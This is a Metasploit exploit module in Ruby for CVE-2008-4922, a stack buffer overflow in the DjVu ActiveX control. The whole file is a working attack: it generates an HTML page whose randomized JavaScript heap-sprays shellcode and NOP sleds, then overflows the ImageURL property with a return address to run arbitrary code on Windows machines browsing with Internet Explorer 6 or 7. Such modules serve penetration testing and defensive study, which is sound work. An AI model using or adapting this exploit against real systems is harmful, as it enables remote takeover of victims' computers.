105 lines
3.3 KiB
Ruby
105 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = LowRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DjVu DjVu_ActiveX_MSOffice.dll ActiveX ComponentBuffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in DjVu ActiveX Component. When sending an
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overly long string to the ImageURL() property of DjVu_ActiveX_MSOffice.dll (3.0)
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an attacker may be able to execute arbitrary code. This control is not marked safe
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for scripting, so choose your attack vector accordingly.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
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'References' =>
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[
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[ 'CVE', '2008-4922' ],
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[ 'OSVDB', '49592' ],
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[ 'BID', '31987' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
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],
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'DisclosureDate' => 'Oct 30 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Create some nops.
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nops = Rex::Text.to_unescape(make_nops(4))
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# Set the return.
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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# Randomize the javascript variable names.
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vname = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(30) + 2)
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rand1 = rand_text_alpha(rand(100) + 1)
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rand2 = rand_text_alpha(rand(100) + 1)
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rand3 = rand_text_alpha(rand(100) + 1)
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rand4 = rand_text_alpha(rand(100) + 1)
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rand5 = rand_text_alpha(rand(100) + 1)
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rand6 = rand_text_alpha(rand(100) + 1)
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rand7 = rand_text_alpha(rand(100) + 1)
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rand8 = rand_text_alpha(rand(100) + 1)
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content = %Q|
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<html>
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<object id='#{vname}' classid='clsid:4A46B8CD-F7BD-11D4-B1D8-000102290E7C'></object>
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<script language="JavaScript">
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var #{rand1} = unescape('#{shellcode}');
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var #{rand2} = unescape('#{nops}');
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var #{rand3} = 20;
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var #{rand4} = #{rand3} + #{rand1}.length;
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while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
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var #{rand5} = #{rand2}.substring(0,#{rand4});
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var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
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while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
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var #{rand7} = new Array();
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for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
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var #{rand8} = "";
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for (#{var_i} = 0; #{var_i} < 2024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
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#{vname}.ImageURL = #{rand8};
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</script>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Creating HTML file ...")
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file_create(content)
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end
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end
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